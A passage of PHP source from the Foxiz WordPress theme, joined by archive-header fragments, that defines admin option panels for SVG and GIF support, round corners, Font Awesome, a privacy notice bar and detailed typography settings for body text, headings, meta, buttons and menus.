Upload', 'foxiz' ), 'icon' => 'el el-upload', 'desc' => esc_html__( 'Please ensure that you are using trusted svg sources to avoid XML vulnerabilities.', 'foxiz' ), 'subsection' => true, 'fields' => array( array( 'id' => 'svg_supported', 'title' => esc_html__( 'SVG Supported', 'foxiz' ), 'subtitle' => esc_html__( 'Support upload file type SVG for your website.', 'foxiz' ), 'type' => 'switch', 'default' => true ) ) ); } } if ( ! function_exists( 'foxiz_register_options_design_gif' ) ) { /** * @return array */ function foxiz_register_options_design_gif() { return array( 'id' => 'foxiz_config_section_gif_supported', 'title' => esc_html__( 'Featured GIF', 'foxiz' ), 'icon' => 'el el-photo', 'desc' => esc_html__( 'Prevent WordPress convert gif to a static image when uploading.', 'foxiz' ), 'subsection' => true, 'fields' => array( array( 'id' => 'gif_supported', 'type' => 'switch', 'title' => esc_html__( 'GIF Supported', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable GIF supported for your website.', 'foxiz' ), 'default' => 1 ), ) ); } } if ( ! function_exists( 'foxiz_register_options_design_border' ) ) { /** * @return array * font icons settings */ function foxiz_register_options_design_border() { return array( 'id' => 'foxiz_config_section_design_border', 'title' => esc_html__( 'Round Corner', 'foxiz' ), 'icon' => 'el el-record', 'desc' => esc_html__( 'The small border style in featured images and other element whole the website.', 'foxiz' ), 'subsection' => true, 'fields' => array( array( 'id' => 'design_border', 'title' => esc_html__( 'Round Corner', 'foxiz' ), 'subtitle' => esc_html__( 'Disable round corner style for whole the website.', 'foxiz' ), 'type' => 'select', 'options' => array( '0' => esc_html__( 'Default', 'foxiz' ), 'none' => esc_html__( 'No Border', 'foxiz' ) ), 'default' => '0', ), array( 'id' => 'custom_border', 'class' => 'small-text', 'type' => 'text', 'title' => esc_html__( 'Custom Round Corner', 'foxiz' ), 'subtitle' => esc_html__( 'Input a custom round corner (in px) for your website.', 'foxiz' ), 'description' => esc_html__( 'The recommended value is 1 to 20. Leave blank to set it as the default.', 'foxiz' ), 'default' => '' ) ) ); } } if ( ! function_exists( 'foxiz_register_options_design_icons' ) ) { /** * @return array * font icons settings */ function foxiz_register_options_design_icons() { return array( 'id' => 'foxiz_config_section_font_icons', 'title' => esc_html__( 'Font Awesome', 'foxiz' ), 'icon' => 'el el-fontsize', 'desc' => esc_html__( 'Load font Awesome icons library. Enabling this option may affect to the site performance.', 'foxiz' ), 'subsection' => true, 'fields' => array( array( 'id' => 'font_awesome', 'title' => esc_html__( 'Load Font Awesome', 'foxiz' ), 'subtitle' => esc_html__( 'Load font Awesome icons library to your website. This will help you can embed this font icons to your widgets and content.', 'foxiz' ), 'type' => 'switch', 'default' => '0', ) ) ); } }PK!IId  panels/privacy.phpnu[ 'foxiz_theme_ops_section_privacy', 'title' => esc_html__( 'Privacy Notice', 'foxiz' ), 'desc' => esc_html__( 'Select options for the privacy notice bar.', 'foxiz' ), 'icon' => 'el el-exclamation-sign', 'fields' => array( array( 'id' => 'privacy_bar', 'type' => 'switch', 'title' => esc_html__( 'Privacy Bar', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the privacy bar.', 'foxiz' ), 'default' => '0' ), array( 'id' => 'privacy_position', 'type' => 'select', 'title' => esc_html__( 'Box Position', 'foxiz' ), 'subtitle' => esc_html__( 'Select a position to display the privacy box.', 'foxiz' ), 'options' => array( 'left' => esc_html__( 'Fixed Left', 'foxiz' ), '0' => esc_html__( 'Top Site', 'foxiz' ), 'bottom' => esc_html__( 'Fixed Bottom', 'foxiz' ) ), 'default' => 'left' ), array( 'id' => 'privacy_text', 'type' => 'textarea', 'title' => esc_html__( 'Content', 'foxiz' ), 'subtitle' => esc_html__( 'Input your privacy or cookie content for your website, allow raw HTML.', 'foxiz' ), 'default' => html_entity_decode( esc_html__( 'By using this site, you agree to the Privacy Policy and Terms of Use.', 'foxiz' ) ) ), array( 'id' => 'privacy_bg_color', 'type' => 'color', 'title' => esc_html__( 'Background Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color for this box background.', 'foxiz' ), 'transparent' => false, 'default' => '' ), array( 'id' => 'privacy_text_color', 'type' => 'color', 'title' => esc_html__( 'Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color for the text.', 'foxiz' ), 'transparent' => false, 'default' => '' ), array( 'id' => 'dark_privacy_bg_color', 'type' => 'color', 'title' => esc_html__( 'Dark Mode - Background Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color for this box background in the dark mode.', 'foxiz' ), 'transparent' => false, 'default' => '' ), array( 'id' => 'dark_privacy_text_color', 'type' => 'color', 'title' => esc_html__( 'Dark Mode - Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color for the text in the dark mode.', 'foxiz' ), 'transparent' => false, 'default' => '' ), ) ); } } PK!H!panels/typography.phpnu[ 'foxiz_config_section_typo', 'title' => esc_html__( 'Typography', 'foxiz' ), 'icon' => 'el el-font', ); } } if ( ! function_exists( 'foxiz_register_options_typo_body' ) ) { /** * @return array */ function foxiz_register_options_typo_body() { return array( 'id' => 'foxiz_config_section_typo_body', 'title' => esc_html__( 'Website Body', 'foxiz' ), 'icon' => 'el el-font', 'subsection' => true, 'desc' => esc_html__( 'Select font values for your website. The settings below apply to almost content elements on the website.', 'foxiz' ), 'fields' => array( array( 'id' => 'font_body', 'type' => 'typography', 'title' => esc_html__( 'Body Font', 'foxiz' ), 'subtitle' => esc_html__( 'The settings below apply to almost post and page content on your website.', 'foxiz' ), 'google' => true, 'font-backup' => true, 'text-align' => false, 'color' => true, 'text-transform' => true, 'letter-spacing' => true, 'line-height' => false, 'font-size' => true, 'units' => 'px', 'default' => array() ), array( 'id' => 'font_body_size_mobile', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Mobile Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the body on the mobile device (max screen width: 767px), Leave this option blank to set the default value.', 'foxiz' ), ), array( 'id' => 'font_body_size_tablet', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Tablet Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the body on tablet devices (max screen width: 1024px), Leave this option blank to set the default value.', 'foxiz' ), ) ) ); } } if ( ! function_exists( 'foxiz_register_options_typo_excerpt' ) ) { /** * @return array */ function foxiz_register_options_typo_excerpt() { return array( 'id' => 'foxiz_config_section_typo_excerpt', 'title' => esc_html__( 'Entry Excerpt', 'foxiz' ), 'icon' => 'el el-font', 'subsection' => true, 'desc' => esc_html__( 'Select font sizes for the excerpt in the post listing.', 'foxiz' ), 'fields' => array( array( 'id' => 'typo_excerpt_info', 'type' => 'info', 'style' => 'success', 'desc' => esc_html__( 'You can control the excerpt font sizes in this panel. The font family and other font values will base on "Body Font" values.', 'foxiz' ), ), array( 'id' => 'font_excerpt_size', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the excerpt. Leave this option blank to set the default value.', 'foxiz' ), ), array( 'id' => 'font_excerpt_size_mobile', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Mobile Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the excerpt on mobile devices (max screen width: 767px), Leave this option blank to set the default value.', 'foxiz' ), ), array( 'id' => 'font_excerpt_size_tablet', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Tablet Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the excerpt on tablet devices (max screen width: 1024px), Leave this option blank to set the default value.', 'foxiz' ), ) ) ); } } if ( ! function_exists( 'foxiz_register_options_typo_h1' ) ) { /** * @return array */ function foxiz_register_options_typo_h1() { return array( 'id' => 'foxiz_config_section_typo_h1', 'title' => esc_html__( 'H1 Tag', 'foxiz' ), 'icon' => 'el el-font', 'subsection' => true, 'desc' => esc_html__( 'Select font for the H1 tag. Selecting same font family settings for similar elements will optimize for your website speed.', 'foxiz' ), 'fields' => array( array( 'id' => 'font_h1', 'type' => 'typography', 'title' => esc_html__( 'H1 Font', 'foxiz' ), 'subtitle' => esc_html__( 'Select font values for the H1 tag and [ CSS classname: .h1]', 'foxiz' ), 'google' => true, 'font-backup' => true, 'text-align' => false, 'color' => true, 'text-transform' => true, 'letter-spacing' => true, 'line-height' => false, 'font-weight' => true, 'font-size' => true, 'units' => 'px', 'default' => array() ), array( 'id' => 'font_h1_size_mobile', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Mobile Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for this heading tag on mobile devices (max screen width: 767px), Leave this option blank to set the default value.', 'foxiz' ), ), array( 'id' => 'font_h1_size_tablet', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Tablet Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for this heading tag on tablet devices (max screen width: 1024px), Leave this option blank to set the default value.', 'foxiz' ), ) ) ); } } if ( ! function_exists( 'foxiz_register_options_typo_h2' ) ) { /** * @return array */ function foxiz_register_options_typo_h2() { return array( 'id' => 'foxiz_config_section_typo_h2', 'title' => esc_html__( 'H2 Tag', 'foxiz' ), 'icon' => 'el el-font', 'subsection' => true, 'desc' => esc_html__( 'Select font for the H2 tag. Selecting same font family settings for similar elements will optimize for your website speed.', 'foxiz' ), 'fields' => array( array( 'id' => 'font_h2', 'type' => 'typography', 'title' => esc_html__( 'H2 Font', 'foxiz' ), 'subtitle' => esc_html__( 'Select font values for the H2 tag and [ CSS classname: .h2]', 'foxiz' ), 'google' => true, 'font-backup' => true, 'text-align' => false, 'color' => true, 'text-transform' => true, 'letter-spacing' => true, 'line-height' => false, 'font-weight' => true, 'font-size' => true, 'units' => 'px', 'default' => array() ), array( 'id' => 'font_h2_size_mobile', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Mobile Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for this heading tag on mobile devices (max screen width: 767px), Leave this option blank to set the default value.', 'foxiz' ), ), array( 'id' => 'font_h2_size_tablet', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Tablet Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for this heading tag on tablet devices (max screen width: 1024px), Leave this option blank to set the default value.', 'foxiz' ), ) ) ); } } if ( ! function_exists( 'foxiz_register_options_typo_h3' ) ) { /** * @return array */ function foxiz_register_options_typo_h3() { return array( 'id' => 'foxiz_config_section_typo_h3', 'title' => esc_html__( 'H3 Tag', 'foxiz' ), 'icon' => 'el el-font', 'subsection' => true, 'desc' => esc_html__( 'Select font for the H3 tag. Selecting same font family settings for similar elements will optimize for your website speed.', 'foxiz' ), 'fields' => array( array( 'id' => 'font_h3', 'type' => 'typography', 'title' => esc_html__( 'H3 Font', 'foxiz' ), 'subtitle' => esc_html__( 'Select font values for the H3 tag and [ CSS classname: .h3]', 'foxiz' ), 'google' => true, 'font-backup' => true, 'text-align' => false, 'color' => true, 'text-transform' => true, 'letter-spacing' => true, 'line-height' => false, 'font-weight' => true, 'font-size' => true, 'units' => 'px', 'default' => array() ), array( 'id' => 'font_h3_size_mobile', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Mobile Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for this heading tag on mobile devices (max screen width: 767px), Leave this option blank to set the default value.', 'foxiz' ), ), array( 'id' => 'font_h3_size_tablet', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Tablet Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for this heading tag on tablet devices (max screen width: 1024px), Leave this option blank to set the default value.', 'foxiz' ), ) ) ); } } if ( ! function_exists( 'foxiz_register_options_typo_h4' ) ) { /** * @return array */ function foxiz_register_options_typo_h4() { return array( 'id' => 'foxiz_config_section_typo_h4', 'title' => esc_html__( 'H4 Tag', 'foxiz' ), 'icon' => 'el el-font', 'subsection' => true, 'desc' => esc_html__( 'Select font for the H4 tag. Selecting same font family settings for similar elements will optimize for your website speed.', 'foxiz' ), 'fields' => array( array( 'id' => 'font_h4', 'type' => 'typography', 'title' => esc_html__( 'H4 Font', 'foxiz' ), 'subtitle' => esc_html__( 'Select font values for the H4 tag and [ CSS classname: .h4]', 'foxiz' ), 'google' => true, 'font-backup' => true, 'text-align' => false, 'color' => true, 'text-transform' => true, 'letter-spacing' => true, 'line-height' => false, 'font-weight' => true, 'font-size' => true, 'units' => 'px', 'default' => array() ), array( 'id' => 'font_h4_size_mobile', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Mobile Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for this heading tag on mobile devices (max screen width: 767px), Leave this option blank to set the default value.', 'foxiz' ), ), array( 'id' => 'font_h4_size_tablet', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Tablet Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for this heading tag on tablet devices (max screen width: 1024px), Leave this option blank to set the default value.', 'foxiz' ), ) ) ); } } if ( ! function_exists( 'foxiz_register_options_typo_h5' ) ) { /** * @return array */ function foxiz_register_options_typo_h5() { return array( 'id' => 'foxiz_config_section_typo_h5', 'title' => esc_html__( 'H5 Tag', 'foxiz' ), 'icon' => 'el el-font', 'subsection' => true, 'desc' => esc_html__( 'Select font for the H5 tag. Selecting same font family settings for similar elements will optimize for your website speed.', 'foxiz' ), 'fields' => array( array( 'id' => 'font_h5', 'type' => 'typography', 'title' => esc_html__( 'H5 Font', 'foxiz' ), 'subtitle' => esc_html__( 'Select font values for the H5 tag and [ CSS classname: .h5]', 'foxiz' ), 'google' => true, 'font-backup' => true, 'text-align' => false, 'color' => true, 'text-transform' => true, 'letter-spacing' => true, 'line-height' => false, 'font-weight' => true, 'font-size' => true, 'units' => 'px', 'default' => array() ), array( 'id' => 'font_h5_size_mobile', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Mobile Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for this heading tag on mobile devices (max screen width: 767px), Leave this option blank to set the default value.', 'foxiz' ), ), array( 'id' => 'font_h5_size_tablet', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Tablet Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for this heading tag on tablet devices (max screen width: 1024px), Leave this option blank to set the default value.', 'foxiz' ), ) ) ); } } if ( ! function_exists( 'foxiz_register_options_typo_h6' ) ) { /** * @return array */ function foxiz_register_options_typo_h6() { return array( 'id' => 'foxiz_config_section_typo_h6', 'title' => esc_html__( 'H6 Tag', 'foxiz' ), 'icon' => 'el el-font', 'subsection' => true, 'desc' => esc_html__( 'Select font for the H6 tag. Selecting same font family settings for similar elements will optimize for your website speed.', 'foxiz' ), 'fields' => array( array( 'id' => 'font_h6', 'type' => 'typography', 'title' => esc_html__( 'H6 Font', 'foxiz' ), 'subtitle' => esc_html__( 'Select font values for the H6 tag and [ CSS classname: .h6]', 'foxiz' ), 'google' => true, 'font-backup' => true, 'text-align' => false, 'color' => true, 'text-transform' => true, 'letter-spacing' => true, 'line-height' => false, 'font-weight' => true, 'font-size' => true, 'units' => 'px', 'default' => array() ), array( 'id' => 'font_h6_size_mobile', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Mobile Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for this heading tag on mobile devices (max screen width: 767px), Leave this option blank to set the default value.', 'foxiz' ), ), array( 'id' => 'font_h6_size_tablet', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Tablet Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for this heading tag on tablet devices (max screen width: 1024px), Leave this option blank to set the default value.', 'foxiz' ), ) ) ); } } if ( ! function_exists( 'foxiz_register_options_typo_category' ) ) { /** * @return array */ function foxiz_register_options_typo_category() { return array( 'id' => 'foxiz_config_section_typo_category', 'title' => esc_html__( 'Entry Category', 'foxiz' ), 'icon' => 'el el-font', 'subsection' => true, 'desc' => esc_html__( 'Select font values for the entry category (category icon) in the post listing.', 'foxiz' ), 'fields' => array( array( 'id' => 'font_ecat', 'type' => 'typography', 'title' => esc_html__( 'Entry Category Font', 'foxiz' ), 'subtitle' => esc_html__( 'Select font for the entry category element.', 'foxiz' ), 'google' => true, 'font-backup' => true, 'text-align' => false, 'color' => false, 'text-transform' => true, 'letter-spacing' => true, 'font-weight' => true, 'line-height' => false, 'font-size' => true, 'units' => 'px', 'default' => array() ), array( 'id' => 'font_ecat_size_mobile', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Mobile Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the entry category element on mobile devices (max screen width: 767px), Leave this option blank to set the default value.', 'foxiz' ), ), array( 'id' => 'font_ecat_size_tablet', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Tablet Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the entry category element on tablet devices (max screen width: 1024px), Leave this option blank to set the default value.', 'foxiz' ), ) ) ); } } if ( ! function_exists( 'foxiz_register_options_typo_meta' ) ) { /** * @return array */ function foxiz_register_options_typo_meta() { return array( 'id' => 'foxiz_config_section_typo_meta', 'title' => esc_html__( 'Entry Meta', 'foxiz' ), 'icon' => 'el el-font', 'subsection' => true, 'desc' => esc_html__( 'Select font values for the post entry meta. Selecting same font family settings for similar elements will optimize for your website speed.', 'foxiz' ), 'fields' => array( array( 'id' => 'font_emeta', 'type' => 'typography', 'title' => esc_html__( 'Entry Meta Font', 'foxiz' ), 'subtitle' => esc_html__( 'Select font values for entry meta info: date, view, comment... Those options will not apply to the author meta.', 'foxiz' ), 'google' => true, 'font-backup' => true, 'text-align' => false, 'color' => true, 'text-transform' => true, 'letter-spacing' => true, 'font-size' => true, 'font-weight' => true, 'line-height' => false, 'units' => 'px', ), array( 'id' => 'font_eauthor', 'type' => 'typography', 'title' => esc_html__( 'Important Meta Font', 'foxiz' ), 'subtitle' => esc_html__( 'Select font values for the author, category meta, review description and sponsored brand.', 'foxiz' ), 'description' => esc_html__( 'The font size will use the post entry meta font size setting.', 'foxiz' ), 'google' => true, 'font-backup' => true, 'text-align' => false, 'color' => true, 'text-transform' => true, 'letter-spacing' => true, 'font-size' => false, 'font-weight' => true, 'line-height' => false, 'units' => 'px', 'default' => array() ), array( 'id' => 'font_emeta_size_mobile', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Mobile Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for entry meta info on mobile devices (max screen width: 767px), Leave this option blank to set the default value.', 'foxiz' ), ), array( 'id' => 'font_emeta_size_tablet', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Tablet Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for entry meta info on tablet devices (max screen width: 1024px), Leave this option blank to set the default value.', 'foxiz' ), ) ) ); } } if ( ! function_exists( 'foxiz_register_options_typo_readmore' ) ) { /** * @return array */ function foxiz_register_options_typo_readmore() { return array( 'id' => 'foxiz_config_section_typo_readmore', 'title' => esc_html__( 'Read More Button', 'foxiz' ), 'icon' => 'el el-font', 'subsection' => true, 'desc' => esc_html__( 'Select font values for the read more button.', 'foxiz' ), 'fields' => array( array( 'id' => 'font_readmore', 'type' => 'typography', 'title' => esc_html__( 'Read More Font', 'foxiz' ), 'subtitle' => esc_html__( 'Select font values for the read more button', 'foxiz' ), 'google' => true, 'font-backup' => true, 'text-align' => false, 'color' => false, 'text-transform' => true, 'letter-spacing' => true, 'font-size' => true, 'font-weight' => true, 'line-height' => false, 'units' => 'px', ), array( 'id' => 'font_readmore_size_mobile', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Mobile Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the readmore button on mobile devices (max screen width: 767px), Leave this option blank to set the default value.', 'foxiz' ), ), array( 'id' => 'font_readmore_size_tablet', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Tablet Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the readmore button on tablet devices (max screen width: 1024px), Leave this option blank to set the default value.', 'foxiz' ), ) ) ); } } if ( ! function_exists( 'foxiz_register_options_typo_input' ) ) { /** * @return array */ function foxiz_register_options_typo_input() { return array( 'id' => 'foxiz_config_section_typo_input', 'title' => esc_html__( 'Inputs & Button', 'foxiz' ), 'icon' => 'el el-font', 'subsection' => true, 'desc' => esc_html__( 'Select font for the input, textarea and button. Selecting same font family settings for similar elements will optimize for your website speed.', 'foxiz' ), 'fields' => array( array( 'id' => 'section_start_font_input', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Input Font Settings', 'foxiz' ), 'indent' => true ), array( 'id' => 'font_input', 'type' => 'typography', 'title' => esc_html__( 'Input & Textarea Font', 'foxiz' ), 'subtitle' => esc_html__( 'The settings below apply to the input and textarea form on your website.', 'foxiz' ), 'google' => true, 'font-backup' => true, 'text-align' => false, 'color' => false, 'text-transform' => true, 'letter-spacing' => true, 'line-height' => false, 'font-size' => true, 'units' => 'px', 'default' => array() ), array( 'id' => 'font_input_size_mobile', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Mobile Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for input and textarea on mobile devices (max screen width: 767px), Leave this option blank to set the default value.', 'foxiz' ), ), array( 'id' => 'font_input_size_tablet', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Tablet Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for input and textarea on tablet devices (max screen width: 1024px), Leave this option blank to set the default value.', 'foxiz' ), ), array( 'id' => 'section_end_font_input', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_font_button', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Button Font Settings', 'foxiz' ), 'indent' => true ), array( 'id' => 'font_button', 'type' => 'typography', 'title' => esc_html__( 'Button Font', 'foxiz' ), 'subtitle' => esc_html__( 'The settings below apply to all button on your website.', 'foxiz' ), 'google' => true, 'font-backup' => true, 'text-align' => false, 'color' => false, 'text-transform' => true, 'letter-spacing' => true, 'line-height' => false, 'font-size' => true, 'units' => 'px', 'default' => array() ), array( 'id' => 'font_button_size_mobile', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Mobile Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for buttons on mobile devices (max screen width: 767px), Leave this option blank to set the default value.', 'foxiz' ), ), array( 'id' => 'font_button_size_tablet', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Tablet Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for buttons on tablet devices (max screen width: 1024px), Leave this option blank to set the default value.', 'foxiz' ), ), array( 'id' => 'section_end_font_button', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ) ) ); } } if ( ! function_exists( 'foxiz_register_options_typo_single' ) ) { /** * @return array * single typography */ function foxiz_register_options_typo_single() { return array( 'id' => 'foxiz_config_section_typo_single', 'title' => esc_html__( 'Single Post', 'foxiz' ), 'icon' => 'el el-font', 'subsection' => true, 'desc' => esc_html__( 'Select font values for Single Headline (Single Post Title) and Single Tagline (Single Sub Title).', 'foxiz' ), 'fields' => array( array( 'id' => 'section_start_font_single_headline', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Single Headline Fonts (Post Title)', 'foxiz' ), 'indent' => true ), array( 'id' => 'typo_single_info', 'type' => 'info', 'style' => 'success', 'desc' => esc_html__( 'The single headline will use H1 font settings as the default. You can override the settings in this panel.', 'foxiz' ), ), array( 'id' => 'font_headline', 'type' => 'typography', 'title' => esc_html__( 'Full Width Headline', 'foxiz' ), 'subtitle' => esc_html__( 'Select font values for the single headline for displaying in the full width layouts.', 'foxiz' ), 'google' => true, 'font-backup' => true, 'text-align' => false, 'color' => true, 'text-transform' => true, 'letter-spacing' => true, 'line-height' => false, 'font-weight' => true, 'font-size' => true, 'units' => 'px', 'default' => array() ), array( 'id' => 'font_headline_size_content', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Content Font Size (Small Headline)', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the single headline or displaying in 66.67% of the site width.', 'foxiz' ), ), array( 'id' => 'font_headline_size_mobile', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Mobile Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the single headline on mobile devices (max screen width: 767px), Leave this option blank to set the default value.', 'foxiz' ), ), array( 'id' => 'font_headline_size_tablet', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Tablet Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the single headline on tablet devices (max screen width: 1024px), Leave this option blank to set the default value.', 'foxiz' ), ), array( 'id' => 'section_end_font_single_headline', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_font_single_tagline', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Single Tagline Fonts (Sub Title)', 'foxiz' ), 'indent' => true ), array( 'id' => 'typo_tagline_info', 'type' => 'info', 'style' => 'success', 'desc' => esc_html__( 'The single tagline will use the H2 tag font settings. You can override settings in this panel.', 'foxiz' ), ), array( 'id' => 'font_tagline', 'type' => 'typography', 'title' => esc_html__( 'Full Width Tagline', 'foxiz' ), 'subtitle' => esc_html__( 'Select font values for the single tagline for displaying in the full width layouts.', 'foxiz' ), 'google' => true, 'font-backup' => true, 'text-align' => false, 'color' => true, 'text-transform' => true, 'letter-spacing' => true, 'line-height' => true, 'font-weight' => true, 'font-size' => true, 'units' => 'px', 'default' => array() ), array( 'id' => 'font_tagline_size_content', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Content Font Size (Small Tagline)', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the single tagline or displaying in 66.67% of the site width.', 'foxiz' ), ), array( 'id' => 'font_tagline_size_mobile', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Mobile Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the single tagline on mobile devices (max screen width: 767px), Leave this option blank to set the default value.', 'foxiz' ), ), array( 'id' => 'font_tagline_size_tablet', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Tablet Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the single tagline on tablet devices (max screen width: 1024px), Leave this option blank to set the default value.', 'foxiz' ), ), array( 'id' => 'section_end_font_tagline', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_font_single_quote', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Block Quote', 'foxiz' ), 'indent' => true ), array( 'id' => 'font_quote', 'type' => 'typography', 'title' => esc_html__( 'Block Quote', 'foxiz' ), 'subtitle' => esc_html__( 'Select font values for the block quote.', 'foxiz' ), 'google' => true, 'font-backup' => true, 'text-align' => false, 'color' => false, 'text-transform' => true, 'letter-spacing' => true, 'line-height' => false, 'font-weight' => true, 'font-size' => false, 'units' => 'px', 'default' => array() ), array( 'id' => 'section_end_font_quote', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ), ) ); } } if ( ! function_exists( 'foxiz_register_options_typo_breadcrumb' ) ) { /** * @return array */ function foxiz_register_options_typo_breadcrumb() { return array( 'id' => 'foxiz_config_section_typo_breadcrumb', 'title' => esc_html__( 'Breadcrumb', 'foxiz' ), 'icon' => 'el el-font', 'subsection' => true, 'desc' => esc_html__( 'Select font values for the breadcrumb bar. Selecting same font family settings for similar elements will optimize for your website speed.', 'foxiz' ), 'fields' => array( array( 'id' => 'font_breadcrumb', 'type' => 'typography', 'title' => esc_html__( 'Breadcrumb Font', 'foxiz' ), 'subtitle' => esc_html__( 'The settings below apply to the breadcrumb bar.', 'foxiz' ), 'google' => true, 'font-backup' => true, 'text-align' => false, 'color' => false, 'text-transform' => true, 'letter-spacing' => true, 'line-height' => false, 'font-size' => true, 'units' => 'px', 'default' => array() ), array( 'id' => 'font_breadcrumb_size_mobile', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Mobile Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the breadcrumbs bar on mobile devices (max screen width: 767px), Leave this option blank to set the default value.', 'foxiz' ), ), array( 'id' => 'font_breadcrumb_size_tablet', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Tablet Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the breadcrumbs bar on tablet devices (max screen width: 1024px), Leave this option blank to set the default value.', 'foxiz' ), ) ) ); } } if ( ! function_exists( 'foxiz_register_options_typo_menus' ) ) { /** * @return array */ function foxiz_register_options_typo_menus() { return array( 'id' => 'foxiz_config_section_typo_main_menu', 'title' => esc_html__( 'Header Menus', 'foxiz' ), 'icon' => 'el el-font', 'subsection' => true, 'desc' => esc_html__( 'Select font values for menus on the website header.', 'foxiz' ), 'fields' => array( array( 'id' => 'section_start_section_font_main_menu', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Main Menu', 'foxiz' ), 'indent' => true ), array( 'id' => 'font_main_menu', 'type' => 'typography', 'title' => esc_html__( 'Menu Font', 'foxiz' ), 'subtitle' => esc_html__( 'Select font for top menu items for displaying in the main menu.', 'foxiz' ), 'google' => true, 'font-backup' => true, 'text-align' => false, 'color' => false, 'text-transform' => true, 'letter-spacing' => true, 'font-weight' => true, 